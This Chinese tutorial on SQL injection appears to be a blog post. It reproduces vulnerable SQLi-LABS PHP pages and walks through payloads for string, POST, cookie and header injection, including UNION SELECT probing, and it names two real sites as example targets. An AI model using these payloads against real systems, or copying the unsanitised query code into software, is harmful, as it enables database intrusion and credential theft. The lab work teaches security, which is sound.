一、导图
![](https://i-blog.csdnimg.cn/blog_migrate/36a02314af6e3c8aad0dd426c483d791.png)
二、明确参数类型
数字型、字符型、搜索型、JSON等。
其中sql语句干扰符号有: '、"、s、)、}等,具体需看写法。
简要明确参数类型是为了防止在注入过程中收到各种符号干扰而导致注入失败。
1.数字型和字符型参数
此处因为id是数字型参数,所以加不加""均可以返回正常。
mysql> select * from emails where id=1;
+----+------------------+
| id | email_id |
+----+------------------+
| 1 | Dumb@dhakkan.com |
+----+------------------+
1 row in set (0.00 sec)
mysql> select * from emails where id="1";
+----+------------------+
| id | email_id |
+----+------------------+
| 1 | Dumb@dhakkan.com |
+----+------------------+
1 row in set (0.00 sec)
此处因为email_id是字符型参数,所以必须加""才可以返回正常,不加""会报错。
mysql> select * from emails where email_id=Dumb@dhakkan.com;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@dhakkan.com' at line 1
mysql> select * from emails where email_id="Dumb@dhakkan.com";
+----+------------------+
| id | email_id |
+----+------------------+
| 1 | Dumb@dhakkan.com |
+----+------------------+
1 row in set (0.01 sec)
模拟网站原码
$name=$_GET['x']; #name接收参数名x的值赋给变量name
$sgl="select * from user where name='$name'"; #此处原码的字符型参数$name两侧存在''
select * from user where id=1; #正常数字型参数不需要加''(加上也不影响)
select * from user where name='ceshi'; #字符型参数'$name'传参后由于原码,参数两侧会存在''(必需加)
------>根据网站参数后面的值来判断是否需要考虑引号的问题
?x=ceshi and 1=1 #当我们进行注入测试对参数注入and 1=1时
select * from user where name='ceshi and 1=1' #由于参数name是字符型参数,所以传递到网站后台的参数最终会被默认当作是一串字符串,从而无法达到目的。
实例分析
实例1:https://nga.178.com/read.php?tid=19045640&rand=331
分析此网站参数可知后面参数均为数字,可能为数字型参数,可以不考虑"",但是也可能存在"",因为对于数字型参数加不加""均可以正常查询。
实例2:http://www.letpub.com.cn/index.php?page=journal_cover_gallery
分析此网站参数可知后面参数为字符型参数,则必须考虑""问题。
此时http://www.letpub.com.cn/index.php?page=journal_cover_gallery and 1=1注入将起不到任何作用,因为and 1=1也会被带入到""中而起不到任何作用。
![](https://i-blog.csdnimg.cn/blog_migrate/de6d5e24f92d02725015ec5fdef0e490.png)
![](https://i-blog.csdnimg.cn/blog_migrate/082014aaeed15b71b29a9b56ada6c4a4.png)
总结:
上述字符型参数网站进行注入,要先将引号给闭合掉。
2.搜索型参数
在SQL语句中,搜索型参数的原码可能前后都有%
模拟网站原码
$sousuo=$_GET['x']; #sousuo接收参数名x的值赋给变量sousuo
$sgl="select * from user where name='$sousuo'"; #此处原码的搜索型参数$sousuo两侧存在'% %'
?x=ceshi and 1=1 #当我们进行注入测试对参数注入and 1=1时
select * from user where name like '%ceshi and 1=1%' #由于参数$sousuo是搜索型参数,所以传递到网站后台的参数两侧会存在'% %',从而无法达到目的。
总结:
上述搜索型参数网站进行注入,要先将引号和百分号给过滤掉。
三、明确请求方法
GET、POST、PUT、DELETE、OPTIONS、HEAD、CONNECT、TRACE。
详情可以参照HTTP的8种请求方式及常用请求方式的解析。
明确请求方法是为了防止在注入过程中未按照网页请求方法进行注入而导致数据提交不上去,导致无法带入到数据库中而导致注入失败。
可以通过“F12”进行查看请求方法,查看位置如下图所示(此例子的请求方法为“GET”):
![](https://i-blog.csdnimg.cn/blog_migrate/a97e4a194b3996883604164aafa057e3.png)
GET请求会把请求的参数附加在URL后面,而POST请求的请求参数都是请求body中。
GET请求其实本身HTTP协议并没有限制它的URL大小,但是不同的浏览器对其有不同的大小长度限制,因此当请求过大时使用GET请求就不合适了,此时就要用到POST请求。
![](https://i-blog.csdnimg.cn/blog_migrate/74677e3fed21ec01b8e7672ca64d8972.png)
简单实例
模拟网站原码为:
<?php
$GET=$_GET['g']; //GET接受参数名g的值赋值给变量GET
echo $GET; //输出变量g的数据
$POST=$_POST['p']; //POST接受参数名p的值赋值给变量POST
echo $POST; //输出变量p的数据
?>
当在URL后面输入g的参数时,网页可将其内容返回。
![](https://i-blog.csdnimg.cn/blog_migrate/2f4f239a1c2d2002710df01258388b69.png)
![](https://i-blog.csdnimg.cn/blog_migrate/0144f5d8c5f2805882d1fcf89604808c.png)
当在URL后面同时输入g和p的参数时,网页仅可将g的参数返回。
因为p参数接受的是POST请求数据,而这里却将其写在了GET请求方法后,所以网站脚本接收不到,所以仅可将g的参数返回。
![](https://i-blog.csdnimg.cn/blog_migrate/2ede2d55b92a72bdf7be378c4637d9b5.png)
![](https://i-blog.csdnimg.cn/blog_migrate/86918ba5a424961c830b936e58eb43df.png)
当在URL后面同时输入g的参数,在POST请求里输入p的参数时,网页仅可将g和p的参数均返回。
这里数据包显示的是POST请求,但是网页却也将GET请求的g的参数也返回了,是因为GET请求有一个特性,它不管是什么请求,只要在URL后面,网站脚本就可以接受到。
![](https://i-blog.csdnimg.cn/blog_migrate/55d2112237c7de526e0e48b9d4ff00e8.png)
![](https://i-blog.csdnimg.cn/blog_migrate/136c9bb97695c2be0f15b6e81e767c53.png)
实例总结
如果p参数存在注入,在注入时就必须将注入语句写到数据包的POST请求里,否则网站接收不到,就无法成功注入。
![](https://i-blog.csdnimg.cn/blog_migrate/b7357e7d91a023dd6b8c63363e855aee.png)
四、明确数据包内容
1.COOKIE
简单实例
模拟网站原码为:
<?php
$GET=$_GET['g']; //GET接受参数名g的值赋值给变量GET
echo $GET; //输出变量g的数据
$POST=$_POST['p']; //POST接受参数名p的值赋值给变量POST
echo $POST; //输出变量p的数据
$c=$_COOKIE['c'];
echo $c;
?>
![](https://i-blog.csdnimg.cn/blog_migrate/9de89b051627da5978946e3aaf85f379.png)
2.REQUEST
什么都能接收。
简单实例
模拟网站原码为:
<?php
$GET=$_GET['g']; //GET接受参数名g的值赋值给变量GET
echo $GET; //输出变量g的数据
$POST=$_POST['p']; //POST接受参数名p的值赋值给变量POST
echo $POST; //输出变量p的数据
$c=$_COOKIE['c'];
echo $c;
$r=$_REQUEST['r'];
echo $r;
?>
将其参数写在GET请求里——>可以接收。
![](https://i-blog.csdnimg.cn/blog_migrate/34b357513bfae8a8db00b39dbebddffb.png)
将其参数写在POST请求里——>可以接收。
![](https://i-blog.csdnimg.cn/blog_migrate/a04be384dad15e5b4509b42fc8de0949.png)
同样,如果放在Cookie里也同样可以接收。
总结:
我们进行测试的时候一般是黑盒测试,就不清楚对方采用的是单个接收的方式还是全部接收的方式,在实战里最好是使用网站原始的接收方式,用其它提交方式进行提交主要是为了绕过一些相关的防护软件。
3.SERVER
是PHP里的内置全局变量,用其来获取系统的一些值,如:操作系统版本、ip地址、脚本名、浏览器信息等。
详情可以参照$_SERVER详解
简单实例
模拟网站原码为:
<?php
$GET=$_GET['g']; //GET接受参数名g的值赋值给变量GET
echo $GET; //输出变量g的数据
$POST=$_POST['p']; //POST接受参数名p的值赋值给变量POST
echo $POST; //输出变量p的数据
$S=$_SERVER['HTTP_USER_AGENT'];
echo $s;
?>
实例
此网站会获取到我们的浏览器信息
![](https://i-blog.csdnimg.cn/blog_migrate/c6b5c4212f4155232047188106842da5.png)
修改数据包
![](https://i-blog.csdnimg.cn/blog_migrate/6a5093607a20946981a46b52aeda3218.png)
可以看到放包后返回的内容也跟着被修改了
![](https://i-blog.csdnimg.cn/blog_migrate/98537804926d5211e89a8e008e8a6afe.png)
所以这种形式是我们表面看不到的,它发生在数据包里,所以在检测这种漏洞时,大部分是在数据包上进行注入。如果将其将获取到的信息带入到数据库进行查询,同样也会造成相应的注入漏洞。
这种注入也被称为HTTP头注入。
五、字符型参数注入测试
<SQLi-LABS less-5>
1.网站原码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-5 Double Query- Single Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-5.jpg" /></center>
</body>
</html>
2.尝试注入
http://localhost/sqli-labs/Less-5/index.php?id=1%20and%201=1
http://localhost/sqli-labs/Less-5/index.php?id=1%20and%201=2
--->发现网页并没有发生任何变化
![](https://i-blog.csdnimg.cn/blog_migrate/5581951b5c09e0d94bc6ba57963fcf07.png)
![](https://i-blog.csdnimg.cn/blog_migrate/bee5a5db332905eb84897aba9f9d25ea.png)
3.分析原码
可以看到变量id两侧存在单引号,所以注入测试中注入的内容被当作了一串字符串处理,因此导致注入失败。
![](https://i-blog.csdnimg.cn/blog_migrate/19f515f086412dbeab110d5090b3d18a.png)
4.正确注入
http://localhost/sqli-labs/Less-5/index.php?id=1%27%20and%20%271%27=%271
http://localhost/sqli-labs/Less-5/index.php?id=1%27%20and%20%271%27=%272
--->发现网页发生了变化--->存在注入
![](https://i-blog.csdnimg.cn/blog_migrate/c505cd4b67cf5292d9b894a5bef83097.png)
![](https://i-blog.csdnimg.cn/blog_migrate/9cb97ad58e6d908972af79052dfeaa4f.png)
<SQLi-LABS less-6>
1.网站原码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-6 Double Query- Double Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color= "#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-6.jpg" /></center>
</body>
</html>
2.尝试注入
http://localhost/sqli-labs/Less-6/index.php?id=1%20and%201=1
http://localhost/sqli-labs/Less-6/index.php?id=1%20and%201=2
--->发现网页并没有发生任何变化
![](https://i-blog.csdnimg.cn/blog_migrate/c95b2c85a708097994b08dbc60a45f86.png)
![](https://i-blog.csdnimg.cn/blog_migrate/a5c7198267421d422ecf4b3f2fe0fef9.png)
3.分析原码
可以看到变量id两侧存在双引号,所以注入测试中要对此双引号进行闭合、注释。
![](https://i-blog.csdnimg.cn/blog_migrate/3ee6a538c1039a7d6e565911c495eb50.png)
4.正确注入
http://localhost/sqli-labs/Less-6/index.php?id=1%22%20and%201=1--+
http://localhost/sqli-labs/Less-6/index.php?id=1%22%20and%201=2--+
--->发现网页发生了变化--->存在注入
![](https://i-blog.csdnimg.cn/blog_migrate/b2125fd5f462967307a7fda64abe3a72.png)
![](https://i-blog.csdnimg.cn/blog_migrate/4246e0ee7d94f6b7478c89506ddb875c.png)
六、JSON型参数注入测试
JSON的2种结构形式,键值对形式和数组形式。
在遇到JSON形式的参数时,要注意注入语句的书写格式。
![](https://i-blog.csdnimg.cn/blog_migrate/276caf5e57d95d8ef5612242718f12cc.png)
![](https://i-blog.csdnimg.cn/blog_migrate/7a4158120843896202d6a7b5b6704fba.png)
七、POST数据提交注入测试
<SQLi-LABS less-11>
1.引入
以此网站为例,网址后面并没有任何参数,但是并不能说明此网站没有注入。
![](https://i-blog.csdnimg.cn/blog_migrate/0d9877ad1f7b2eb6c7242f50f433cba4.png)
2.网站原码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-11- Error Based- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome <font color="#FF0000"> Dhakkan </font><br></div>
<div align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">
<div style="padding-top:10px; font-size:15px;">
<!--Form to POST the data for sql injections Error based SQL Injection-->
<form action="" name="form1" method="POST">
<div style="margin-top:15px; height:30px;">Username :
<input type="text" name="uname" value=""/>
</div>
<div> Password :
<input type="text" name="passwd" value=""/>
</div></br>
<div style=" margin-top:9px;margin-left:90px;">
<input type="submit" name="submit" value="Submit" />
</div>
</form>
</div></div>
<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="6" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
</font>
</div>
</body>
</html>
3.输入信息后抓取数据包
通过抓取到的数据包可以发现使用的请求方法是POST请求。
![](https://i-blog.csdnimg.cn/blog_migrate/284eb8fe727600011f3dbc151b1cd90a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/dcb1161045529bc7bb97af67cbc372cb.png)
4.注入方法
方法一
在burpsuite抓取到的数据包内进行注入。
![](https://i-blog.csdnimg.cn/blog_migrate/a5767391a905a501d8e9c55a9b948beb.png)
方法二
使用hackbar插件进行注入。
![](https://i-blog.csdnimg.cn/blog_migrate/a92b90f42e5d26cbbbb425c7034e38d8.png)
5.注入前考虑的两个问题
问题一——参数类型
此处注入是对用户名和密码两个参数进行注入,不难想到其注入类型必然不为数字型,因此必然会有符号干扰注入,所以在进行注入时要对引号进行闭合、注释。
问题二——提交方式
此网站的提交方式是POST请求,需要使用上面提到的两种方法进行注入。
6.分析原码
可以看到变量id两侧存在单引号,所以注入过程中要将其进行闭合、注释。
![](https://i-blog.csdnimg.cn/blog_migrate/2a7e75506b43e475fddbeaf26b079d62.png)
7.猜解列数(字段数)
http://localhost/sqli-labs/Less-11/
uname=admin' order by 2#&passwd=admin&submit=Submit
返回页面正常
http://localhost/sqli-labs/Less-11/
uname=admin' order by 3#&passwd=admin&submit=Submit
返回页面不正常
------>列数(字段数)为:2
![](https://i-blog.csdnimg.cn/blog_migrate/23b6bb17bf875c72a3bf3313cdefca84.png)
![](https://i-blog.csdnimg.cn/blog_migrate/e1cb35351b29d069f32d3c75de57c2eb.png)
8.报错猜解准备
添加“ union select + 1~列数 ”。
http://localhost/sqli-labs/Less-11/
uname=admin' union select 1,2#&passwd=admin&submit=Submit
![](https://i-blog.csdnimg.cn/blog_migrate/eb116ceaf1c08bb6c55a1436c5f10a36.png)
9.报错猜解
将参数部分修改为错误值,让网页报错。
http://localhost/sqli-labs/Less-11/
uname=admin' and 1=2 union select 1,2#&passwd=admin&submit=Submit
![](https://i-blog.csdnimg.cn/blog_migrate/70375a52c78870eb51ba8963c76ddbb3.png)
10.后续
后续信息收集等操作可以参照“SQL注入操作流程及实例演示”。
11.补充(#与--+)
在mysql中注释可以使用--+,但是部分注释需要采用#,需要多测试才能发现,为了验证#是注释符号可以将#替换为--+执行查看结果看到报错信息。
使用--+进行注释
mysql> select username,password from users where username='admin' and 1=2 union select 1,2 --+ and password='admin' limit 0 1;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and password='admin' limit 0 1' at line 1
--->发生错误,注释失败
使用#进行注释将(--+替换为#)
mysql> select username,password from users where username='admin' and 1=2 union select 1,2 # and password='admin' limit 0 1;
+----------+----------+
| username | password |
+----------+----------+
| 1 | 2 |
+----------+----------+
1 row in set (0.00 sec)
--->成功列出,注释成功
八、COOKIE数据提交注入测试
<SQLi-LABS less-20>
1.网站原码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-20 Cookie Injection- Error Based- string</title>
</head>
<body bgcolor="#000000">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(!isset($_COOKIE['uname']))
{
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome <font color='#FF0000'> Dhakkan </font><br></div>";
echo "<div align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";
echo "<div style='padding-top:10px; font-size:15px;'>";
echo "<!--Form to POST the contents -->";
echo '<form action=" " name="form1" method="POST">';
echo ' <div style="margin-top:15px; height:30px;">Username : ';
echo ' <input type="text" name="uname" value=""/> </div>';
echo ' <div> Password : ';
echo ' <input type="text" name="passwd" value=""/></div></br>';
echo ' <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';
echo '</form>';
echo '</div>';
echo '</div>';
echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';
echo '<font size="3" color="#FFFF00">';
echo '<center><br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo '</center>';
function check_input($value)
{
if(!empty($value))
{
$value = substr($value,0,20); // truncation (see comments)
}
if (GET_magic_quotes_gpc()) // Stripslashes if magic quotes enabled
{
$value = stripslashes($value);
}
if (!ctype_digit($value)) // Quote if not a number
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
echo "<br>";
echo "<br>";
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
setcookie('uname', $cookee, time()+3600);
header ('Location: index.php');
echo "I LOVE YOU COOKIES";
echo "</font>";
echo '<font color= "#0000ff" font size = 3 >';
//echo 'Your Cookie is: ' .$cookee;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
echo "</font>";
echo '</font>';
echo '</div>';
}
else
{
if(!isset($_POST['submit']))
{
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
$result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "pink" font size="5">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo '<font color= "grey" font size="5">';
echo 'Your Password:' .$row['password'];
echo "</font></b>";
echo "<br>";
echo 'Your ID:' .$row['id'];
}
else
{
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/slap1.jpg" />';
echo "<br><br><b>";
//echo '<img src="../images/Less-20.jpg" />';
}
echo '<center>';
echo '<form action="" method="POST">';
echo '<input type="submit" name="submit" value="Delete Your Cookie!" />';
echo '</form>';
echo '</center>';
}
else
{
echo '<center>';
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo "<br>";
echo '<font color= "#FFFF00" font size = 6 >';
echo " Your Cookie is deleted";
setcookie('uname', $row1['username'], time()-3600);
header ('Location: index.php');
echo '</font></center></br>';
}
echo "<br>";
echo "<br>";
//header ('Location: main.php');
echo "<br>";
echo "<br>";
//echo '<img src="../images/slap.jpg" /></center>';
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'Cookie:'.$cookee."\n");
fclose($fp);
}
?>
</body>
</html>
2.分析原码
![](https://i-blog.csdnimg.cn/blog_migrate/519440480359956a91f479632a3d7a7e.png)
![](https://i-blog.csdnimg.cn/blog_migrate/577a83fb799f1687d396a00ed297f321.png)
![](https://i-blog.csdnimg.cn/blog_migrate/002150dab1c25c9dd12d1106bf540a23.png)
经过分析可以发现此网页对提交的数据采取的是POST请求,并且对POST请求的内容会经函数check_input进行过滤后才会带入到sql语句中进行提交,但是也存在使用COOKIE进行接收,并且无过滤措施。
所以这关考察的是采用COOKIE注入来绕过相关防护。
3.报错猜解准备(COOKIE绕过)
Cookie: uname=admin' union select 1,2,3#
![](https://i-blog.csdnimg.cn/blog_migrate/43a1ecc155da891bcd618f3b2e32c192.png)
4.报错猜解
Cookie: uname=admin' and 1=2 union select 1,2,3#
![](https://i-blog.csdnimg.cn/blog_migrate/77d719ad4a433b738d4126862ac4efd1.png)
5.后续
后续信息收集等操作可以参照“SQL注入操作流程及实例演示”。
6.补充(网站传递参数的方式)
参数类型 | 含义 |
GET型 | 一般访问网页的行为 |
POST型 | 上传文件,登陆 |
cookie型 | 伴随着所有访问网页的行为 |
7.COOKIE注入原理:对GET、POST传递来的参数进行了过滤,但是忽略了COOKIE也可以传递参数,更改本地的COOKIE,从而利用COOKIE来提交非法语句。
条件 | 含义 |
条件 1 | 程序对GET和POST方式提交的数据进行了过滤,但未对COOKIE提交的数据库进行过滤 |
条件2 | 条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。 |
九、HTTP头部参数数据注入测试
<SQLi-LABS less-18>
1.网站原码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-18 Header Injection- Error Based- string</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome <font color="#FF0000"> Dhakkan </font><br></div>
<div align="center" style="margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;">
<div style="padding-top:10px; font-size:15px;">
<!--Form to POST the contents -->
<form action="" name="form1" method="POST">
<div style="margin-top:15px; height:30px;">Username :
<input type="text" name="uname" value=""/> </div>
<div> Password :
<input type="text" name="passwd" value=""/></div></br>
<div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>
</form>
</div>
</div>
<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}
// Stripslashes if magic quotes enabled
if (GET_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>
</font>
</div>
</body>
</html>
2.分析原码
从上面的SQL语句当中我们可以看到对执行的insert语句没有任何的限制,也就是说我们通过修改http的头部信息可以达到SQL注入的效果。
为了查看方便在第103行下面添加“echo $insert;”来返回$insert。
![](https://i-blog.csdnimg.cn/blog_migrate/e6dee9a21ff130e73b99f35ada4378cf.png)
![](https://i-blog.csdnimg.cn/blog_migrate/00dbeadcdfee69d2ec696b57a418596a.png)
3.寻找注入方式
输入账号密码后抓包可以看到浏览器信息已经被写到了SQL语句中,因此,我们如果想注入,就可以在数据包中的浏览器信息部分进行操作。
![](https://i-blog.csdnimg.cn/blog_migrate/578652ac8f552f0337caf89516980b62.png)